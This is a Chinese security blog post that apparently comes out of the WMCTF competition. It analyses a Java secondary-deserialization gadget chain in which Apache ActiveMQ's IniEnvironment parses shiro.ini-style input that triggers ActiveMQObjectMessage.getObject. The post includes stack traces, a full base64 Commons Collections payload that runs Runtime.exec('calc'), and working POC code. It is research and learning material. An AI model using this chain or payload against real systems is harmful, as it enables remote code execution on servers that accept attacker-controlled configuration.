二次反序列化新链学习
1341025112991831 发表于 四川 历史精选 2423浏览 · 2024-09-11 14:39

二次反序列化新链学习

前言

最近参加wmctf的,发现了一条能够二次反序列化的链子,在这里记录学习一下

链子分析

当时入口选择的是IniEnvironment,这个类还是很厉害的,构造方法就有一番新天地

IniEnvironment

我们关注一下这个类,调试分析一波

测试代码

package org.example;

import org.apache.activemq.shiro.env.IniEnvironment;

import static com.sun.org.apache.xml.internal.security.keys.keyresolver.KeyResolver.length;

public class s {
    public static void main(String[] args) {
        IniEnvironment iniEnvironment=new IniEnvironment("user=org.example.User\n" +
                "user.name=\"ljl\"\n" +
                "user.age=18\n" +
                "user.age.a=1");
    }
}
package org.example;

public class User {
    private String name;
    private int age;

    // 构造函数
    public User(){

    }
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // Getter方法
    public String getName() {
        System.out.println("getName");
        return name;
    }

    // Setter方法
    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    // Getter方法
    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    // Setter方法
    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
    public void haha(){

        System.out.println("123123");
    }
}

运行后发现会调用setter和getter方法

调试分析

进入IniEnvironment构造方法

public IniEnvironment(String iniConfig) {
    Ini ini = new Ini();
    ini.load(iniConfig);
    this.ini = ini;
    this.init();
}

实例化一个ini对象去加载我们输入的内容

最后调用init方法初始化

public void init() throws ShiroException {
    Ini ini = this.ini;
    if (ini != null) {
        this.apply(ini);
    }

调用了apply方法适应内容

protected void apply(Ini ini) {
    if (ini != null && !ini.isEmpty()) {
        Map<String, ?> objects = this.createObjects(ini);
        this.ini = ini;
        this.objects.clear();
        this.objects.putAll(objects);
    }

其中调用了createObjects方法

private Map<String, ?> createObjects(Ini ini) {
    IniSecurityManagerFactory factory = new IniSecurityManagerFactory(ini) {
        protected SecurityManager createDefaultInstance() {
            return new DefaultActiveMqSecurityManager();
        }

        protected Realm createRealm(Ini ini) {
            IniRealm realm = (IniRealm)super.createRealm(ini);
            realm.setPermissionResolver(new ActiveMQPermissionResolver());
            return realm;
        }
    };
    factory.getInstance();
    return factory.getBeans();
}

内部构建了一个工厂类,并且调用getInstance实例化

buildInstances:181, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:139, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:107, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:98, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:47, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:150, IniFactorySupport (org.apache.shiro.config)
getInstance:47, AbstractFactory (org.apache.shiro.util)
createObjects:133, IniEnvironment (org.apache.activemq.shiro.env)
apply:111, IniEnvironment (org.apache.activemq.shiro.env)
init:76, IniEnvironment (org.apache.activemq.shiro.env)
<init>:56, IniEnvironment (org.apache.activemq.shiro.env)
main:9, s (org.example)

setter

一路到这里实例化完成后开始解析我们的输入了

private Map<String, ?> buildInstances(Ini.Section section) {
    return this.getReflectionBuilder().buildObjects(section);
}

section如下

applyProperty:353, ReflectionBuilder (org.apache.shiro.config)
doExecute:999, ReflectionBuilder$AssignmentStatement (org.apache.shiro.config)
execute:931, ReflectionBuilder$Statement (org.apache.shiro.config)
execute:809, ReflectionBuilder$BeanConfigurationProcessor (org.apache.shiro.config)
buildObjects:288, ReflectionBuilder (org.apache.shiro.config)

一路到这开始解析我们的属性

protected void applyProperty(String key, String value, Map objects) {
    int index = key.indexOf(46);
    if (index >= 0) {
        String name = key.substring(0, index);
        String property = key.substring(index + 1, key.length());
        if ("shiro".equalsIgnoreCase(name)) {
            this.applyGlobalProperty(objects, property, value);
        } else {
            this.applySingleProperty(objects, name, property, value);
        }

    } else {
        throw new IllegalArgumentException("All property keys must contain a '.' character. (e.g. myBean.property = value)  These should already be separated out by buildObjects().");
    }
}

之后不断调用applyProperty方法,其中调用了setProperty开始为对象赋值

其实后面过程也很容易明白就是调用对象的setter方法

setAge:36, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
setSimpleProperty:2109, PropertyUtilsBean (org.apache.commons.beanutils)
setNestedProperty:1915, PropertyUtilsBean (org.apache.commons.beanutils)
setProperty:2022, PropertyUtilsBean (org.apache.commons.beanutils)
setProperty:1018, BeanUtilsBean (org.apache.commons.beanutils)
setProperty:678, ReflectionBuilder

然后最后反射调用我们指定对象的setter方法

getter

getter方法需要调用属性值的写法

类似于这种

user.object.a=1

前面的流程都一样的,没有什么区别

主要是在

applyProperty:747, ReflectionBuilder (org.apache.shiro.config)地方

protected void applyProperty(Object object, String propertyName, String stringValue) {
    Object value;
    if ("null".equals(stringValue)) {
        value = null;
    } else if ("\"\"".equals(stringValue)) {
        value = "";
    } else {
        String checked;
        if (this.isIndexedPropertyAssignment(propertyName)) {
            checked = this.checkForNullOrEmptyLiteral(stringValue);
            value = this.resolveValue(checked);
        } else if (this.isTypedProperty(object, propertyName, Set.class)) {
            value = this.toSet(stringValue);
        } else if (this.isTypedProperty(object, propertyName, Map.class)) {
            value = this.toMap(stringValue);
        } else if (this.isTypedProperty(object, propertyName, List.class)) {
            value = this.toList(stringValue);
        } else if (this.isTypedProperty(object, propertyName, Collection.class)) {
            value = this.toCollection(stringValue);
        } else if (this.isTypedProperty(object, propertyName, byte[].class)) {
            value = this.toBytes(stringValue);
        } else if (this.isTypedProperty(object, propertyName, ByteSource.class)) {
            byte[] bytes = this.toBytes(stringValue);
            value = Util.bytes(bytes);
        } else {
            checked = this.checkForNullOrEmptyLiteral(stringValue);
            value = this.resolveValue(checked);
        }
    }

    this.applyProperty(object, propertyName, value);
}

在getter方法中

走的是isTypedProperty

会调用getter方法

getAge:30, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
getPropertyDescriptor:936, PropertyUtilsBean (org.apache.commons.beanutils)
isTypedProperty:437, ReflectionBuilder (org.apache.shiro.config)
applyProperty:729, ReflectionBuilder (org.apache.shiro.config)
applySingleProperty:392, ReflectionBuilder (org.apache.shiro.config)
applyProperty:353, ReflectionBuilder (org.apache.shiro.config)

而setter是走的

最后的 this.applyProperty(object, propertyName, value);

参数控制

参数是shiro.ini的内容

参考

https://www.w3cschool.cn/shiro/h5it1if8.html

其中有两种写法

从之前的 Shiro 架构图可以看出,Shiro 是从根对象 SecurityManager 进行身份验证和授权的;也就是所有操作都是自它开始的,这个对象是线程安全且整个应用只需要一个即可,因此 Shiro 提供了 SecurityUtils 让我们绑定它为全局的,方便后续操作。

因为 Shiro 的类都是 POJO 的,因此都很容易放到任何 IoC 容器管理。但是和一般的 IoC 容器的区别在于,Shiro 从根对象 securityManager 开始导航;Shiro 支持的依赖注入:public 空参构造器对象的创建、setter 依赖注入。

1、纯 Java 代码写法(com.github.zhangkaitao.shiro.chapter4.NonConfigurationCreateTest):

DefaultSecurityManager securityManager = new DefaultSecurityManager();
//设置authenticator
ModularRealmAuthenticator authenticator = new ModularRealmAuthenticator();
authenticator.setAuthenticationStrategy(new AtLeastOneSuccessfulStrategy());
securityManager.setAuthenticator(authenticator);
//设置authorizer
ModularRealmAuthorizer authorizer = new ModularRealmAuthorizer();
authorizer.setPermissionResolver(new WildcardPermissionResolver());
securityManager.setAuthorizer(authorizer);
//设置Realm
DruidDataSource ds = new DruidDataSource();
ds.setDriverClassName("com.mysql.jdbc.Driver");
ds.setUrl("jdbc:mysql://localhost:3306/shiro");
ds.setUsername("root");
ds.setPassword("");
JdbcRealm jdbcRealm = new JdbcRealm();
jdbcRealm.setDataSource(ds);
jdbcRealm.setPermissionsLookupEnabled(true);
securityManager.setRealms(Arrays.asList((Realm) jdbcRealm));
//将SecurityManager设置到SecurityUtils 方便全局使用
SecurityUtils.setSecurityManager(securityManager);
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken("zhang", "123");
subject.login(token);
Assert.assertTrue(subject.isAuthenticated());

2、等价的 INI 配置(shiro-config.ini)

[main]
\#authenticator
authenticator=org.apache.shiro.authc.pam.ModularRealmAuthenticator
authenticationStrategy=org.apache.shiro.authc.pam.AtLeastOneSuccessfulStrategy
authenticator.authenticationStrategy=$authenticationStrategy
securityManager.authenticator=$authenticator
\#authorizer
authorizer=org.apache.shiro.authz.ModularRealmAuthorizer
permissionResolver=org.apache.shiro.authz.permission.WildcardPermissionResolver
authorizer.permissionResolver=$permissionResolver
securityManager.authorizer=$authorizer
\#realm
dataSource=com.alibaba.druid.pool.DruidDataSource
dataSource.driverClassName=com.mysql.jdbc.Driver
dataSource.url=jdbc:mysql://localhost:3306/shiro
dataSource.username=root
\#dataSource.password=
jdbcRealm=org.apache.shiro.realm.jdbc.JdbcRealm
jdbcRealm.dataSource=$dataSource
jdbcRealm.permissionsLookupEnabled=true
securityManager.realms=$jdbcRealm

即使没接触过 IoC 容器的知识,如上配置也是很容易理解的:

  1. 对象名 = 全限定类名 相对于调用 public 无参构造器创建对象
  2. 对象名. 属性名 = 值 相当于调用 setter 方法设置常量值
  3. 对象名. 属性名 =$ 对象引用 相当于调用 setter 方法设置对象引用

所以能够调用对象的getter,setter方法

ActiveMQObjectMessage

这个是actinemq依赖的类

其中有一个属性是序列化的类型

而它的getObejct方法

是可以二次反序列化的,不过需要getContent内容可以控制

public Serializable getObject() throws JMSException {
    if (object == null && getContent() != null) {
        try {
            ByteSequence content = getContent();
            InputStream is = new ByteArrayInputStream(content);
            if (isCompressed()) {
                is = new InflaterInputStream(is);
            }
            DataInputStream dataIn = new DataInputStream(is);
            ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);
            objIn.setTrustedPackages(trustedPackages);
            objIn.setTrustAllPackages(trustAllPackages);
            try {
                object = (Serializable)objIn.readObject();
            } catch (ClassNotFoundException ce) {
                throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + ce, ce);
            } finally {
                dataIn.close();
            }
        } catch (IOException e) {
            throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + e, e);
        }
    }
    return this.object;
}

参数控制

我们回看参数是否可以控制

跟进getContent方法

是在父类Message中

public ByteSequence getContent() {
    return content;
}

本质上是一个ByteSequence对象

protected ByteSequence content;

我们看ByteSequence如何构造

public ByteSequence(byte data[]) {
    this.data = data;
    this.offset = 0;
    this.length = data.length;
}

接受一个byte对象,而且是public的

POC

二次反序列化我们就自己加一个cc的依赖

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

使用工具生成数据

数据如下

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VxAH4AGAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=

shiro.ini如下

[main]
activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage
byteSequence=org.apache.activemq.util.ByteSequence
byteSequence.data=内容
activeMQObjectMessage.content=$byteSequence
activeMQObjectMessage.trustAllPackages=true
activeMQObjectMessage.object.a=1

我真服了

POC

package org.example;

import org.apache.activemq.shiro.env.IniEnvironment;

public class doubleser {
    public static void main(String[] args) {
        IniEnvironment iniEnvironment=new IniEnvironment("[main]\n" +
                "activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage\n" +
                "byteSequence=org.apache.activemq.util.ByteSequence\n" +
                "byteSequence.data=内容" +
                "activeMQObjectMessage.content=$byteSequence\n" +
                "activeMQObjectMessage.trustAllPackages=true\n" +
                "activeMQObjectMessage.object.a=1");
    }
}

我服了,弹不出,不是只需要传入一个data就可以吗,之后尝试多传了一个length就可以了和offset,把参数全部给加上

POC

package org.example;

import org.apache.activemq.shiro.env.IniEnvironment;

public class doubleser {
    public static void main(String[] args) {
        IniEnvironment iniEnvironment=new IniEnvironment("[main]\n" +
                "activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage\n" +
                "byteSequence=org.apache.activemq.util.ByteSequence\n" +
                "byteSequence.data=内容\n" +
                "byteSequence.length=1666\n" +
                "byteSequence.offset=0\n" +
                "activeMQObjectMessage.content=$byteSequence\n" +
                "activeMQObjectMessage.trustAllPackages=true\n" +
                "activeMQObjectMessage.object.a=1");
    }
}

确实弹了计算器

调试分析一手

发现确实调用了构造方法

调用栈如下

newInstance:206, ClassUtils (org.apache.shiro.util)
newInstance:193, ClassUtils (org.apache.shiro.util)
createNewInstance:330, ReflectionBuilder (org.apache.shiro.config)
doExecute:971, ReflectionBuilder$InstantiationStatement (org.apache.shiro.config)
execute:931, ReflectionBuilder$Statement (org.apache.shiro.config)
execute:809, ReflectionBuilder$BeanConfigurationProcessor (org.apache.shiro.config)
buildObjects:288, ReflectionBuilder (org.apache.shiro.config)
buildInstances:181, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:139, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:107, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:98, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:47, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:150, IniFactorySupport (org.apache.shiro.config)
getInstance:47, AbstractFactory (org.apache.shiro.util)
createObjects:133, IniEnvironment (org.apache.activemq.shiro.env)
apply:111, IniEnvironment (org.apache.activemq.shiro.env)
init:76, IniEnvironment (org.apache.activemq.shiro.env)
<init>:56, IniEnvironment (org.apache.activemq.shiro.env)
main:7, doubleser (org.example)

发现调用的是无参的构造函数

public static Object newInstance(Class clazz) {
    if (clazz == null) {
        String msg = "Class method parameter cannot be null.";
        throw new IllegalArgumentException(msg);
    } else {
        try {
            return clazz.newInstance();
        } catch (Exception var2) {
            throw new InstantiationException("Unable to instantiate class [" + clazz.getName() + "]", var2);
        }
    }
}

之后的参数值是通过setter方法去赋值的

但是还是不知道为什只使用data不可以

有没有师傅解答一下

0 条评论
某人
表情
可输入 255